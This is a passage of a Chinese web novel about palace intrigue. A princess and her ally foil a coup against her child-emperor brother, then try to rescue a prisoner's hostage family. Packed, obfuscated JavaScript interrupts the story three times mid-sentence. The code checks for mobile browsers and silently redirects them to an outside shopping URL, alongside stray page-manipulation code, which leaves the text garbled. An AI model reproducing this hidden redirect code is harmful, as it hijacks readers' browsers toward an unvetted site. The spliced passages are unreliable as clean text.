证明他们谋反的证据。 她派出去的那些暗卫,开始日夜盯着这三座府邸。任何风吹草动,都要报给她。 日子一天一天过去。 转眼间,夏天来了。 御花园里的荷花开得正好,粉的白的,一大片一大片,铺满了整个池塘。昀昭有时会拉着昀宁去看荷花,站在池边,指着那些荷花,说这朵好看,那朵也好看。 “皇姐,你看那朵!”他指着一朵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17316909|198962||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 粉色的荷花,笑得眉眼弯弯,“它开得好大!” 昀宁顺着他的手指看过去,点点头:“嗯,是很大。” 昀昭歪着头看她,忽然问:“皇姐,你是不是还在想那件事?” 昀宁愣了一下。 昀昭说:“就是那个案子。死了三个人的那个。” 昀宁沉默了一瞬,说:“你怎么知道?” 昀昭说:“因为皇姐每次想事情的时候,眉毛就会皱起来。” 他顿了顿,又说:“皇姐,你别太累了。我已经长大了,可以帮你分担一些了。” 昀宁看着他,心里涌起一股暖意。 “好。”她说,“等你再大一些,姐姐就把事情分给你做。” 昀昭点点头,又去看荷花了。 昀宁站在他身后,看着他的背影。 阳光下,他的身量似乎又长高了一些,肩膀也宽了一些。十二岁的孩子,正在慢慢长大。 她忽然想起母后临终前说的话。 “昀宁,护着你弟弟,这是你的命。” 是的。 这是她的命。 她不会让任何人,伤害她的弟弟。 那天夜里,暗卫送来了一份消息。 “殿下,”领头的那人跪在地上,声音压得很低,“李崇的府上,最近有动静。” 昀宁的心猛地一跳。 “什么动静?” 暗卫说:“他府上最近来了几个人,都是从外地来的,住在他府里的偏院,从不出来见人。我们查了他们的来历,有一个是西北边军的人,有一个是江南水师的人。” 昀宁的手指微微收紧。 西北边军。 江南水师。 一个是陆地上的兵,一个是水上的兵。 李崇这是要干什么? “还有吗?” 暗卫说:“周延那边也有动静。他女婿最近回京了,说是述职,但他在京里待了半个月,一直没走。每天晚上都去大皇子的府上,待到很晚才出来。” 昀宁的眉头皱起来。 周延的女婿,是边军的参将,手里有三千兵马。 他进京“述职”,却每天往昀启的府上跑。 这是在干什么,不言而喻。 “继续盯着。”昀宁说,“有任何动静,立刻来报。” 暗卫领命而去。 昀宁坐在窗前,看着窗外的月亮。 月亮很亮,月光很冷。 她忽然想起一个人。 想起他那双亮亮的眼睛,想起他说的那句话——“无论殿下想做什么,臣都在。” 她想,她可能需要他了。 第二天,昀宁让人给沈淮送了一封信。 信上只有五个字—— 摘星阁,酉时。 酉时,沈淮准时到了。 他穿着一身寻常的衣裳,没带随从,独自一人来的。昀宁在摘星阁侧殿见他,让人上了茶,然后把所有人都屏退了。 “殿下。”沈淮行了一礼。 昀宁点点头,让他坐下。 沈淮看着她,目光里有一丝询问。 昀宁沉默了一瞬,开口。 “小公爷,本宫需要你帮一个忙。” 沈淮看着她,没有问什么忙,只是说:“殿下请讲。” 昀宁从袖中取出一份密报,递给他。 沈淮接过来,展开,一页一页看下去。 他的脸色,一点一点凝重起来。 看完之后,他抬起头,看着昀宁。 “殿下,”他说,“这些人,是要动手了。” 昀宁点点头。 “本宫也这么想。”她说,“但他们要动,得有一个由头。本宫想知道,他们的由头是什么。” 沈淮沉默了一瞬,说:“殿下是想让臣去查?” 昀宁看着他。 “小公爷,”她说,“本宫知道,这件事很危险。你若是不愿意,本宫不勉强。” 沈淮忽然笑了。 那笑容很淡,却让昀宁的心跳漏了一拍。 “殿下,”他说,“臣说过,无论殿下想做什么,臣都在。” 他顿了顿,又说:“这件事,臣去查。” 昀宁看着他,看了很久。 她想说谢谢,但她知道,他不需要她说谢谢。 她只是点了点头。 “好。”她说,“小心。” 沈淮站起身,朝她行了一礼。 “殿下放心。”他说,“臣会小心的。” 他转身往外走。 走到门口,他忽然停下脚步,回过头。 “殿下。” 昀宁看着他。 沈淮说:“无论查到什么,殿下都要答应臣一件事。” 昀宁问:“什么事?” 沈淮说:“殿下要好好活着。” 他顿了顿,又说:“只有活着,才能做该做的事。” 昀宁的心像是被什么东西轻轻揪了一下。 她点了点头。 “好。”她说,“本宫答应你。” 沈淮笑了,推门走了出去。 昀宁站在原地,看着那扇关上的门,许久没有动。 窗外,月光落进来,铺了一地的银白。 她只希望,那个陪她走夜路的人,能活着走到天亮。 ——第八章完—— 9. 金枝玉叶 9 大燕建元十八年,六月初六,惊蛰。 这一日,京城下了一场大雨。 雨从清晨开始下,一直下到傍晚,没有停的意思。天像是被谁捅了个窟窿,雨水哗哗地往下倒,把整个京城都浇透了。 昀宁站在摘星阁的窗前,看着外面的雨幕。 她已经站了半个时辰。 阿蘅在一旁候着,几次想开口,又把话咽了回去。她知道殿下在想事情,这个时候,不能打扰。 雨声中,忽然传来一阵急促的脚步声。 “殿下,”一个小太监浑身湿透地跑进来,跪在地上,“沈小公爷求见。” 昀宁转过身。 “这么晚了,他来做什么?” 小太监摇摇头:“不知道,只说有急事。” 昀宁沉默了一瞬,点点头:“让他进来。” 片刻后,沈淮走进摘星阁。 他浑身都湿透了,头发贴在脸上,衣裳往下滴着水。但他顾不上这些,看见昀宁,快步上前,从袖中取出一封信,递给她。 “殿下请看。” 昀宁接过信,展开。 信很短,只有几行字—— “六月十五,夜,子时,禁军北营。事成之后,幼帝废为庶人,大皇子登基。李崇、周延已定,只待君来。” 落款处,是一个鲜红的私印。 昀宁认得那个印。 那是昀启的印。 她的手指微微收紧,信纸的边缘被她攥出了褶皱。 “这封信从哪儿来的?” 沈淮说:“臣的人混进了大皇子府,从一个幕僚的书房里偷出来的。那个幕僚姓冯,是大皇子的心腹,专门替他处理这些密信。” 昀宁看着那封信,沉默了很久。 六月十五。 今天是六月初六。 还有九天。 “禁军北营,”她抬起头,看着沈淮,“谁在那儿?” 沈淮的脸色有些凝重。 “殿下,禁军北营的统领,是李崇的儿子。” 昀宁的心猛地一沉。 李崇的儿子。 李崇是礼部尚书,他儿子在禁军里当差,是个校尉。禁军北营有三千人马,守卫着京城的北门。 六月十五,子时,禁军北营。 他们要做什么,已经很明显了。 “周延那边呢?”昀宁问。 沈淮说:“周延的女婿,三天前已经回西北了。但他临走前,和周延密谈了一夜。谈的什么,不知道。” 昀宁沉默了一瞬,又问:“昀启这些日子在做什么?” 沈淮说:“称病,没有上朝。” 昀宁冷笑了一声。 称病。 好一个称病。 她抬起头,看着沈淮。 “小公爷,”她说,“这件事,你怎么看?” 沈淮沉默了一瞬,开口。 “殿下,”他说,“臣斗胆说一句——这件事,比我们想的更大。” 昀宁看着他。 沈淮说:“禁军北营只是第一步。北门一旦打开,外面的人就能进来。周延的女婿虽然走了,但他的人还在。西北边军离京城不远,快马加鞭,三日可到。若是他们里应外合……” 他没有说下去。 但昀宁已经听懂了。 里应外合。 禁军开城门,边军入京城。 到时候,昀昭的龙椅,就真的保不住了。 “殿下,”沈淮看着她,“还有九天。我们只有九天。” 昀宁没有说话。 她走到窗前,看着外面的雨。 雨还在下,哗哗哗的,像是要把整个京城都淹了。 她想起父皇临终前的眼神。 她想起昀昭站在灵堂里,哭得浑身发抖。 她想起母后说的话——“护着你弟弟,这是你的命。” 她的命。 “沈淮。”她忽然开口。 沈淮走上前,站在她身后。 昀宁没有回头,只是看着窗外的雨。 “你说,”她问,“本宫该怎么做?” 沈淮沉默了一瞬,说:“殿下,臣有句话,不知当讲不当讲。” “说。” 沈淮说:“殿下要想护住陛下,光靠查案子、抓证据,是不够的。那些人要的是兵权,是城门,是里应外合。殿下手里有什么?殿下手里只有一本账册,和几个暗卫。” 他顿了顿,声音低了下去。 “殿下,您需要兵。” 昀宁的手指微微收紧。 兵。 她当然知道她需要兵。 可是她的兵在哪儿? 她是公主,不是皇子,手里没有兵权。昀昭虽然是皇帝,但他才十二岁,禁军、边军、各地驻军,没有一个是听他调遣的。 她拿什么去和那些人斗? “殿下,”沈淮说,“臣有一个人,可以举荐。” 昀宁转过身,看着他。 “谁?” 沈淮说:“禁军南营统领,薛明。” 昀宁的眉头微微皱起。 薛明。 这个名字她听过。禁军南营的统领,手底下也有三千人马,驻守京城南门。此人出身寒微,靠军功一步步爬上来的,在朝中没有根基,也不结交权贵,是个出了名的硬骨头。 “他可信吗?” 沈淮说:“臣不敢说完全可信。但臣知道一件事——薛明的父亲,当年是被大皇子的人害死的。” 昀宁的眼睛微微眯起。 “怎么回事?” 沈淮说:“十五年前,薛明的父亲是西北边军的一个校尉。那一年边关打仗,他奉命押送粮草,半路被人劫了。粮草丢了,他也被砍了头。后来有人查出,那批劫粮的人,和大皇子府上的一个管事有往来。但没有证据,事情不了了之。” 他顿了顿,又说:“薛明那时候才十五岁,亲眼看着他父亲被砍头。他这些年一直想查清这件事,但大皇子势大,他查不动。” 昀宁沉默了很久。 雨还在下,哗哗哗的,像是在替谁哭泣。 “你能联系上他吗?” 沈淮点点头。 “好。”昀宁说,“安排本宫见他一面。” 沈淮看着她,目光里有一丝复杂。 “殿下,”他说,“您可想好了?见了薛明,就再也没有回头路了。” 昀宁看着他,忽然笑了。 那笑容很淡,却让沈淮的心跳漏了一拍。 “沈淮,”她说,“本宫从接下那个案子开始,就没有回头路了。” 她顿了顿,又说:“你知道本宫最怕的是什么吗?” 沈淮摇摇头。 昀宁说:“本宫最怕的,不是死,是昀昭死在我前面。” 她转过身,继续看着窗外的雨。 “父皇走的时候,拉着我的手说,昀宁,护着你弟弟。我答应了。我既然答应了,就一定要做到。” 沈淮站在她身后,看着她的背影。 那个背影单薄得很,像是风一吹就会倒。但她站在那里,脊背挺得笔直,像是一根钉子,牢牢地钉在地上。 他忽然想起第一次见她的时候。 那时候她穿着男装,戴着面具,站在人潮汹涌的街口,像是一只偷跑出来的雀儿。他扶了她一把,递给她一只兔子面具,说“小公子莫要乱跑”。 那时候他不知道她是谁。 他只知道,那个少年的眼睛很亮,像是藏着星星。 现在他知道了。 她是大燕的嫡长公主,是当今天子的胞姐,是一个要在九天之内,和那些虎视眈眈的人斗一斗的女子。 她的眼睛还是那么亮。 只是那亮光里,多了许多他看不懂的东西。 “殿下,”他开口,“臣陪您去。” 昀宁回过头,看着他。 沈淮说:“薛明那边,臣去安排。见面的时间、地点,臣来定。殿下只需要到时候去就行。” 昀宁看着他,看了很久。 “沈淮,”她说,“你知道这件事有多危险吗?” 沈淮点点头。 “知道。” “你知道万一事情败露,你会是什么下场吗?” 沈淮又点点头。 “知道。” “那你还敢去?” 沈淮忽然笑了。 那笑容很淡,却让昀宁的心跳漏了一拍。 “殿下,”他说,“臣说过,无论殿下想做什么,臣都在。” 他顿了顿,又说:“更何况,这件事不只是殿下的事。臣是大燕子民,臣的父亲、祖父、曾祖父,都是大燕的臣子。臣不能眼睁睁看着那些人,把这大燕的江山搅得天翻地覆。” 昀宁看着他,心里涌起一股复杂的情绪。 有感激,有敬佩,还有一丝她说不清的东西。 “好。”她说,“那就一起去。” 两天后,六月初八,夜。 城西一处僻静的宅院里,昀宁见到了薛明。 他四十岁上下,身材魁梧,脸上有一道长长的刀疤,从眉梢一直延伸到嘴角,看上去有些狰狞。但他的眼睛很沉静,像是一潭深水,看不出深浅。 “殿下。”他跪下行礼。 昀宁让他起来,看着他。 “薛统领,本宫今日来,是想问你一件事。” 薛明低着头:“殿下请讲。” 昀宁说:“若是有人想谋反,你会怎么做?” 薛明抬起头,看着她。 那道目光沉沉的,像是什么东西压在下面。 “殿下,”他说,“臣是个粗人,不会说漂亮话。臣只知道,臣是大燕的臣子,臣的职责是保护皇上,保护京城。谁想谋反,谁就是臣的敌人。” 昀宁看着他,沉默了一瞬。 “那若是谋反的人,是当朝大皇子呢?” 薛明的眼睛微微眯起。 “殿下有证据?” 昀宁从袖中取出那封信,递给他。 薛明接过来,借着烛光,仔细看了一遍。 他的脸色一点一点沉下去。 “殿下,”他抬起头,看着她,“这封信,是从哪儿来的?” 昀宁说:“本宫自有来路。你只需要告诉本宫,这封信上写的事,你信不信?” 薛明沉默了很久。 烛光在他脸上跳动,让那道刀疤显得格外狰狞。 “殿下,”他开口,声音很低,“臣的父亲,十五年前是怎么死的,殿下知道吗?” 昀宁点点头。 “知道。” 薛明看着她,目光里有什么东西在闪动。 “臣这些年一直在查,但查不出什么。臣知道是大皇子的人干的,但没有证据,动不了他。”他顿了顿,声音有些发颤,“殿下今日拿着这封信来,臣想问殿下一句——” 他深深吸了一口气。 “殿下能给臣的父亲,讨一个公道吗?” 昀宁看着他,看着他那双沉静的眼睛里,一闪而过的痛苦。 她想起自己,想起父皇死的时候,她跪在灵堂里,一滴眼泪都没有掉。 她知道那是什么滋味。 “薛统领,”她说,“本 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17316910|198962||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宫不能保证给你父亲讨回公道。本宫能保证的是——本宫会让那些想害昀昭的人,付出代价。” 她顿了顿,又说:“至于你父亲的事,等这件事了了,本宫陪你一起查。” 薛明看着她,看了很久。 然后他跪了下去。 “殿下,”他说,“臣愿为殿下效死。” 昀宁看着他,心里忽然涌起一股说不清的滋味。 她扶起他。 “薛统领,”她说,“本宫不要你死。本宫要你活着,好好活着,替本宫守住那道南门。” 薛明抬起头,看着她。 “殿下的意思是?” 昀宁说:“六月十五,他们要从北门动手。到时候,本宫需要你带人,从南门绕到北门后面,前后夹击。” 薛明的眼睛亮了一下。 “殿下是想……” 昀宁点点头。 “他们既然要动手,那就让他们动。”她说,“让他们以为胜券在握,然后,一网打尽。” 薛明沉默了一瞬,随即深深叩首。 “臣遵命。” 从宅院里出来,外面已经黑了。 没有月亮,没有星星,天阴沉沉的,像是一块巨大的黑布罩在头顶。 沈淮站在门口等她。见她出来,迎上前。 “殿下,谈妥了?” 昀宁点点头。 沈淮松了一口气,随即又皱起眉头。 “殿下,”他说,“薛明虽然答应了,但光靠南营的三千人,够吗?” 昀宁沉默了一瞬。 “不够。”她说,“但他们还有帮手。” 沈淮愣了一下:“谁?” 昀宁看着他,忽然问:“小公爷,沈家有多少家兵?” 沈淮的脸色微微一变。 家兵。 世家大族,都有自己的私兵。明面上说是护院,实际上,人数不少。沈家是开国功臣之后,世袭国公,府里养着的家兵,少说也有几百人。 “殿下是想……” 昀宁说:“本宫需要你,在关键的时候,带着沈家的人,堵住北门的退路。” 沈淮沉默了很久。 他知道这意味着什么。 意味着沈家,要正式站队了。 站到昀宁这边,站到昀昭这边,站到那些人的对立面。 万一输了,沈家就完了。 “小公爷,”昀宁看着他,“你若是不愿意,本宫不勉强。” 沈淮抬起头,看着她。 月光下,她的脸有些苍白,但那双眼睛亮亮的,像是藏着星星。 他忽然想起第一次见她的那天。 那时候她戴着面具,站在人群里,像是一只偷跑出来的雀儿。他扶了她一把,心里想的是,这个少年,眼睛真好看。 现在,那只雀儿站在他面前,要和他一起,去和那些虎狼斗一斗。 他忽然笑了。 “殿下,”他说,“臣愿意。” 昀宁看着他,心里涌起一股暖意。 “好。”她说,“那我们就一起,赌这一把。” 六月十五,子时。 夜黑风高。 禁军北营的大门,悄无声息地打开了。 一群黑影从门里涌出来,朝着皇城的方向摸去。为首的那人,正是李崇的儿子——李彦。 他骑在马上,手里握着一把刀,脸上带着志在必得的笑。 再过半个时辰,皇城就是他们的了。 再过两个时辰,新帝就要登基了。 而他,会是新帝的功臣,加官进爵,封妻荫子。 他想着这些,嘴角的笑容越来越大。 忽然,前面传来一阵骚动。 “什么人!” “有埋伏!” 李彦的脸色一变,勒住马,抬头看去。 前面黑压压的一片,不知什么时候,多了一支队伍。 那队伍的最前面,站着一个女人。 她穿着一身素白的衣裳,手里握着一把剑,站在火光里,像是一尊雕像。 昀宁。 大燕的嫡长公主。 “李彦,”她开口,声音清冷,“你好大的胆子。” 李彦的脸色变得惨白。 “你……你怎么会……” 昀宁没有回答他。 她只是举起手中的剑,朝前一挥。 “动手。” 身后,薛明带着南营的人马,冲了出去。 喊杀声四起,刀光剑影,血光冲天。 那一夜,北门外的喊杀声,一直响到天亮。 天亮的时候,李彦被绑着,跪在昀宁面前。 他的身上全是血,脸上全是灰,再也不复昨夜那副志得意满的样子。 昀宁看着他,一句话都没有说。 她只是挥了挥手。 “押下去。” 李彦被拖走了。 昀宁站在原地,看着东边渐渐亮起来的天空。 天边泛起鱼肚白,一点一点,像是谁在慢慢地揭开一层纱。 她忽然想起很久以前,母后说过的一句话。 “昀宁,这世上,最难走的路,是你不得不走的那条路。” 她走过来了。 但她知道,这只是开始。 那些人,还没有真正落网。 真正的仗,还在后面。 她转过身,看着身后那些浑身是血的将士,看着薛明那张被刀疤割裂的脸,看着远处渐渐升起的太阳。 太阳升起来了。 新的一天,开始了。 ——第九章完—— 10. 金枝玉叶 10 大燕建元十八年,六月十六。 天亮了。 北门外的喊杀声已经平息,空气中弥漫着浓重的血腥味。昀宁站在晨光里,看着将士们打扫战场,一具具尸体被抬走,一滩滩血迹被黄土覆盖。 她的白衣上溅了几点血迹,已经干涸发黑,像是几点墨渍。 薛明走过来,浑身是血,脸上却带着笑。 “殿下,李彦押下去了。北营的人,投降了一半,死了一半。剩下的,都捆了。” 昀宁点点头。 “伤亡如何?” 薛明脸上的笑容淡了些:“南营死了二百三十七个,重伤一百多个。沈家的家兵也折了三十多人。” 昀宁沉默了一瞬。 二百三十七个。 他们都有名字,都有家人,都有活着回来的期盼。 “好好安葬。”她说,“抚恤按三倍给。” 薛明愣了一下,随即深深叩首:“臣替兄弟们,谢殿下。” 昀宁没有再说。 她转过身,看着远处渐渐升起的太阳。 太阳很红,红得像血。 “殿下。” 一个声音从身后传来。 昀宁回头,看见沈淮朝她走来。 他浑身是血,衣袍上被划开了几道口子,脸上也有几道血痕。但他的眼睛依旧亮亮的,像是山间的清泉。 “小公爷,”昀宁看着他,“你受伤了?” 沈淮低头看了看自己,摇摇头:“都是别人的血。” 他走到昀宁身边,和她一起看着远处。 “殿下,”他说,“天亮了。” 昀宁点点头。 “是啊,天亮了。” 他们站在那里,谁都没有再说话。 晨风吹过来,带着血腥味,也带着一丝凉意。 昀宁忽然想起很久以前,母后说过的一句话。 “昀宁,这世上,最难熬的,是天亮之前的那段黑。” 她熬过来了。 但她知道,这只是开始。 天亮之后的事,比天亮之前,更难。 六月十七,朝会。 昀宁依旧站在珠帘后面,听着外面的声音。 今日的朝会,和往日不同。 那些人,终于开始动了。 “陛下,臣有本奏!” 一个御史站出来,手里捧着一份奏折,声音洪亮。 “禁军北营之事,震惊朝野。李彦私自带兵夜闯皇城,罪大恶极,理当满门抄斩!但臣想问一句——李彦不过是个校尉,他凭什么调动北营三千人马?他背后,是谁?” 朝堂上一片寂静。 昀宁的目光穿过珠帘,落在那个御史身上。 他姓王,是都察院的人,平日里不显山不露水,今天却忽然跳出来,说这样的话。 “王御史,”昀启开口了,声音不紧不慢,“你这话是什么意思?” 王御史转过身,看着昀启。 “大皇子殿下,”他说,“臣没有别的意思。臣只是觉得,李彦一个人,做不了这么大的事。他背后,一定有人。” 昀启笑了笑。 “那王御史觉得,他背后的人是谁?” 王御史沉默了一瞬,忽然抬起头,看向珠帘的方向。 “臣不敢妄加揣测。”他说,“但臣听说,那天夜里,长公主殿下也在北门外。” 朝堂上顿时一片哗然。 昀宁的手指微微收紧。 王御史继续说:“长公主殿下为何会在北门外?她带的那些人马,是从哪儿来的?禁军南营的薛明,为何会听她调遣?还有沈家——臣听说,沈家也出了人。沈小公爷,当夜也在北门外。” 他转过身,看着沈淮。 “沈小公爷,臣想问你一句——沈家是臣子,不是公主的私兵。你凭什么调动沈家的人,去帮长公主?” 沈淮站在队列中,面色平静。 “王御史,”他说,“臣调动沈家的人,是因为有人要谋反。臣身为大燕子民,难道要坐视不理吗?” “谋反?”王御史冷笑一声,“谁是谋反的人?李彦吗?李彦已经被抓了。他招供了吗?他说他谋反了吗?” 沈淮沉默了一瞬。 李彦确实没有招供。 从被抓到现在,他一个字都没有说。 “王御史,”另一个声音响起,是韩彰,“你今日在朝堂上说这些话,是什么意思?” 王御史转过身,看着韩彰,躬身一礼。 “韩阁老,”他说,“下官没有别的意思。下官只是觉得,这件事,有很多地方说不通。李彦为何要夜闯皇城?他是想害陛下,还是想做什么别的事?长公主为何会提前知道?她提前知道了,为何不禀报朝廷,而是私自调兵?” 他顿了顿,声音更高了些。 “下官斗胆问一句——这一切,是不是太巧了?” 朝堂上再次安静下来。 昀宁站在珠帘后面,一动不动。 她知道,这是昀启的反击。 李彦被抓了,但李彦没有招供。没有招供,就死无对证。李崇还在,周延还在,昀启还在。他们可以说,李彦是自作主张,和他们没有关系。 而她和沈淮,私自调兵,私自带人夜闯皇城,这些事,确实可以说成是“擅自行事”。 “王御史,”昀昭的声音忽然响起,小小的,却很清楚,“你说完了吗?” 王御史愣了一下,连忙跪下。 “臣说完了。” 昀昭看着他,那双眼睛亮亮的,像是有星星在里面。 “你说完了,那朕问你——那天夜里,若不是皇姐带人拦住李彦,朕现在还能坐在这里听你说话吗?” 王御史低着头,不敢回答。 昀昭继续说:“你说皇姐没有禀报朝廷。朕问你,她禀报了,谁来调兵?禁军北营是李崇的儿子管的,禁军东营是周延的人管的,禁军西营……西营是谁管的来着?” 他顿了顿,忽然笑了。 “朕忘了。反正都是他们的人。朕要是禀报了,李彦会提前动手,朕现在可能已经死了。” 王御史的脸色变得很难看。 昀昭却不看他了,只是看着满朝文武。 “朕年纪小,不懂那么多大道理。但朕知道一件事——皇姐救了朕的命。谁要是想治皇姐的罪,就先问问朕答不答应。” 朝堂上一片死寂。 昀宁站在珠帘后面,眼眶忽然有些发酸。 她的小昭,长大了。 散朝后,昀宁去了东宫。 昀昭正趴在案上写字,见她进来,抬起头,咧嘴一笑。 “皇姐!” 昀宁走过去,在他旁边坐下。 “今日在朝堂上,说得很好。” 昀昭有些不好意思,低下头,小声说:“我说的都是真的。” 昀宁看着他,心里涌起一股暖意。 “昀昭,”她说,“姐姐问你一件事。” 昀昭抬起头。 昀宁说:“如果有一天,有人告诉姐姐,说昀昭变了,不再是以前那个昀昭了,姐姐该信吗?” 昀昭愣了一下,想了想,说:“那要看是谁说的。” 昀宁笑了。 “为什么?” 昀昭说:“如果是坏人说的,肯定不能信。如果是好人说的,也要看他们有没有证据。” 他顿了顿,又补了一句:“反正,不管别人说什么,我都信皇姐。” 昀宁的心像是被什么东西轻轻撞了一下。 她伸出手,把昀昭揽进怀里。 昀昭没有挣扎,只是把脸埋在她肩头。 “皇姐,”他闷闷地说,“你今天怎么了?” 昀宁摇摇头。 “没什么。”她说,“姐姐只是忽然觉得,有你在,真好。” 那天晚上,沈淮又来了。 他换了一身干净的衣裳,脸上那几道血痕也结了痂,看上去不那么吓人了。 “殿下,”他行了一礼,“臣有事要禀。” 昀宁点点头,让阿蘅退下。 沈淮从袖中取出一份密报,递给她。 “殿下请看。” 昀宁接过来,展开。 密报上写着——李崇昨夜密会昀启,周延也在。三人在密室中谈了半个时辰,出来的时候,脸色都不好看。 昀宁把密报放下,看着沈淮。 “他们急了。” 沈淮点点头。 “李彦被抓,他们怕李彦开口。但李彦到现在一个字都没说,他们又有了底气。”他顿了顿,“殿下,李彦不能一直关着。” 昀宁沉默了一瞬。 她当然知道。 李彦是唯一的活口,是唯一能指认昀启、李崇、周延的人。但他现在一个字都不说,昀启他们就可以一直咬死,说李彦是自作主张。 “他为什么不说?”昀宁问。 沈淮摇摇头。 “臣让人去审了,什么手段都用过,他就是不开口。” 昀宁想了想,忽然问:“他有什么亲人吗?” 沈淮说:“有。一个母亲,一个妻子,还有一个三岁的儿子。” 昀宁的心微微一沉。 “他的母亲、妻子、儿子,现在在哪儿?” 沈淮沉默了一瞬。 “殿下,臣正想和您说这件事——李彦被抓的第二天,他的母亲、妻子、儿子,都不见了。” 昀宁的手指微微收紧。 不见了。 被人带走了。 “昀启干的?” 沈淮点点头。 “除了他,没有别人。” 昀宁沉默了很久。 她想起那天夜里,李彦跪在她面前,浑身是血,脸上全是灰。 那时候她以为,只要抓住他,就能撬开他的嘴。 但她忘了,他还有母亲,还有妻子,还有儿子。 那些人,现在在昀启手里。 只要昀启拿他们做要挟,李彦就永远不会开口。 “殿下,”沈淮看着她,“李彦这条线,断了。” 昀宁没有说话。 她知道他说得对。 但她也知道,不能就这么算了。 “小公爷,”她忽然问,“你说,李彦的母亲、妻子、儿子,会被关在哪儿?” 沈淮愣了一下。 “殿下是想……” 昀宁看着他,目光坚定。 “本宫要把他们救出来。” 沈淮的脸色微微一变。 “殿下,这太危险了。那是昀启的地盘,他的人守着,我们……” “本宫知道。”昀宁打断他,“但这是唯一的办法。只有救出他们,李彦才会开口。李彦开口,昀启他们就跑不掉。” 沈淮看着她,看了很久。 烛光在她脸上跳动,让她的眼睛显得格外亮。 他忽然想起那天夜里,她站在北门外,手里握着剑,像是一尊雕像。 那时候他就知道,这个女人,和别人不一样。 “殿下,”他说,“臣陪您去。” 昀宁看着他。 “你确定?” 沈淮笑了。 “臣确定。” 六月二十,夜。 没有月亮,没有星星,天阴沉沉的,像是一块巨大的黑布罩在头顶。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17316911|198962||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 昀宁换了一身夜行衣,头发束起来,用一根黑布条扎紧。阿蘅在一旁看着,眼眶红红的,想说什么又不敢说。 “殿下,”她终于忍不住开口,“您真的要亲自去?” 昀宁点点头。 “太危险了,让暗卫去不行吗?” 昀宁摇摇头。 “暗卫不认识李彦的家人。万一救错了,就全完了。” 阿蘅的眼泪终于掉下来。 “殿下,您要是出了事,陛下怎么办?” 昀宁的手顿了顿。 她想起昀昭那双亮亮的眼睛,想起他说“不管别人说什么,我都信皇姐”。 但她还是站起身,往外走。 “阿蘅,”她走到门口,回过头,“若本宫回不来,告诉昀昭,姐姐对不起他。” 阿蘅哭着跪下去。 昀宁没有再回头。 城西,昀启的府邸。 夜深人静,府里静悄悄的,只有几个值夜的灯笼在风中摇晃。 沈淮已经在后门等着了。他也换了一身夜行衣,腰间别着一把短刀,见她来,点点头。 “殿下,臣的人摸清楚了。人关在后院的柴房里,门口有两个人守着。后院还有一队巡逻的,每隔半个时辰换一班。” 昀宁点点头。 “进去吧。” 他们翻墙进去,沿着墙根摸到后院。 柴房就在前面,门口果然守着两个人,一个靠在墙上打盹,一个来回踱步。 沈淮朝昀宁打了个手势,然后悄悄摸过去。 他的动作很轻,像是一只猫。 打盹的那个还没反应过来,就被他捂住了嘴,一刀割了喉咙。踱步的那个刚想喊,昀宁已经从后面扑上去,一刀刺进他的后心。 两个人倒下,没有发出一点声音。 昀宁喘了口气,看着沈淮。 沈淮朝她点点头,推开了柴房的门。 里面黑漆漆的,什么也看不见。 “谁?”一个颤抖的声音响起,是个女人。 昀宁压低声音:“是李彦的家人吗?” 里面沉默了一瞬,然后响起一个孩子的哭声。 昀宁摸进去,借着外面透进来的一点光,看见角落里缩着三个人——一个老妇人,一个年轻女子,还有一个三四岁的孩子。 “别怕,”昀宁说,“我们来救你们出去。” 年轻女子抬起头,看着她。 “你是谁?” 昀宁没有回答,只是伸出手。 “快走。” 他们刚走出柴房,忽然听见一阵脚步声。 “不好!”沈淮低声道,“巡逻的来了!” 昀宁的心猛地一沉。 来不及了。 “你们先走。”她推了那女子一把,“从后门出去,有人接应。” 女子看着她,眼眶红了。 “恩人……” “快走!” 女子咬咬牙,扶着老妇人,抱着孩子,往后门跑去。 昀宁转过身,看着越来越近的火光。 沈淮站在她身边。 “殿下,”他说,“您也走。臣拖住他们。” 昀宁摇摇头。 “一起走。” 沈淮看着她,忽然笑了。 那笑容很淡,却让昀宁的心跳漏了一拍。 “殿下,”他说,“臣说过,无论殿下想做什么,臣都在。” 他顿了顿,又说:“这一次,让臣替您挡一挡。” 他推了她一把,然后朝那队巡逻的人冲了过去。 刀光亮起,喊杀声四起。 昀宁站在原地,看着他被那些人围住,看着他挥刀砍倒一个又一个,看着他的身影在火光中越来越远。 她咬咬牙,转身往后门跑去。 身后,喊杀声渐渐远了。 她跑出后门,钻进一条小巷,七拐八绕,最后停下来,靠在一堵墙上,大口大口地喘气。 她活着出来了。 但他呢? 她抬起头,看着那片漆黑的天空。 没有月亮,没有星星,什么也没有。 她忽然想起他说的那句话。 “殿下,无论您想做什么,臣都在。” 她闭上眼睛,眼泪终于掉下来。 那天夜里,昀宁在摘星阁等到天亮。 沈淮没有回来。 